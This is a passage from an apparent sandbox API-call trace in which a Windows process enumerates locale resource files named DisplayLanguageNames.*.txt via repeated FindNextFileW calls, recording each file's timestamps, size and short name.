returned 1 [0236.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_SD.txt", cAlternateFileName="DIC7AF~1.TXT")) returned 1 [0236.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_SY.txt", cAlternateFileName="DID7BE~1.TXT")) returned 1 [0236.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f3b3c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_TN.txt", cAlternateFileName="DI7175~1.TXT")) returned 1 [0236.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f472300, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ar_YE.txt", cAlternateFileName="DIE8B6~1.TXT")) returned 1 [0236.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.bg.txt", cAlternateFileName="DI8E5A~1.TXT")) returned 1 [0236.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cde, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.bg_BG.txt", cAlternateFileName="DIC784~1.TXT")) returned 1 [0236.382] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ca.txt", cAlternateFileName="DIFBE9~1.TXT")) returned 1 [0236.383] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ca_ES.txt", cAlternateFileName="DI0E62~1.TXT")) returned 1 [0236.383] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f38dac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6cdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.ca_ES_PREEURO.txt", cAlternateFileName="DIFFE0~1.TXT")) returned 1 [0236.383] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x74c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.cs.txt", cAlternateFileName="DI5C2E~1.TXT")) returned 1 [0236.383] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f367960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x74c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.cs_CZ.txt", cAlternateFileName="DICA81~1.TXT")) returned 1 [0236.564] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.da.txt", cAlternateFileName="DI3825~1.TXT")) returned 1 [0236.564] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.da_DK.txt", cAlternateFileName="DID241~1.TXT")) returned 1 [0236.564] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x72d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.de_CH.txt", cAlternateFileName="DI26AE~1.TXT")) returned 1 [0236.564] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7328, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.de_DE.txt", cAlternateFileName="DID4A5~1.TXT")) returned 1 [0236.564] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7326, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.de_DE_PREEURO.txt", cAlternateFileName="DI06A0~1.TXT")) returned 1 [0236.564] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e92, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.el.txt", cAlternateFileName="DI372F~1.TXT")) returned 1 [0236.564] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e92, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.el_GR.txt", cAlternateFileName="DI5702~1.TXT")) returned 1 [0236.564] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f31b6a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e76, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.el_GR_PREEURO.txt", cAlternateFileName="DI8CEE~1.TXT")) returned 1 [0236.565] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_CA.txt", cAlternateFileName="DI579A~1.TXT")) returned 1 [0236.565] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_GB.txt", cAlternateFileName="DICF87~1.TXT")) returned 1 [0236.565] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_GB_EURO.txt", cAlternateFileName="DIB168~1.TXT")) returned 1 [0236.565] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_US.txt", cAlternateFileName="DI0A37~1.TXT")) returned 1 [0236.565] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.en_US_POSIX.txt", cAlternateFileName="DIA6FD~1.TXT")) returned 1 [0236.565] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es.txt", cAlternateFileName="DIA363~1.TXT")) returned 1 [0236.565] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_AR.txt", cAlternateFileName="DID78F~1.TXT")) returned 1 [0236.565] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_BO.txt", cAlternateFileName="DIA31D~1.TXT")) returned 1 [0236.565] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_CL.txt", cAlternateFileName="DI9065~1.TXT")) returned 1 [0236.565] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_CO.txt", cAlternateFileName="DIF0AE~1.TXT")) returned 1 [0236.565] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_CR.txt", cAlternateFileName="DI0002~1.TXT")) returned 1 [0236.565] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_DO.txt", cAlternateFileName="DI1A09~1.TXT")) returned 1 [0236.565] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_EC.txt", cAlternateFileName="DIE9E6~1.TXT")) returned 1 [0236.565] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_ES.txt", cAlternateFileName="DI408C~1.TXT")) returned 1 [0236.565] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_ES_PREEURO.txt", cAlternateFileName="DI260B~1.TXT")) returned 1 [0236.566] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_GT.txt", cAlternateFileName="DID1E0~1.TXT")) returned 1 [0236.566] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_HN.txt", cAlternateFileName="DI2D6E~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_MX.txt", cAlternateFileName="DI31D9~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ecc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_NI.txt", cAlternateFileName="DI4326~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd88f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_PA.txt", cAlternateFileName="DI714F~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_PE.txt", cAlternateFileName="DIE843~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_PR.txt", cAlternateFileName="DID39C~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_PY.txt", cAlternateFileName="DI61E0~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_SV.txt", cAlternateFileName="DIBEBA~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="DisplayLanguageNames.es_US.txt", cAlternateFileName="DI5822~1.TXT")) returned 1 [0237.263] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd62de0, 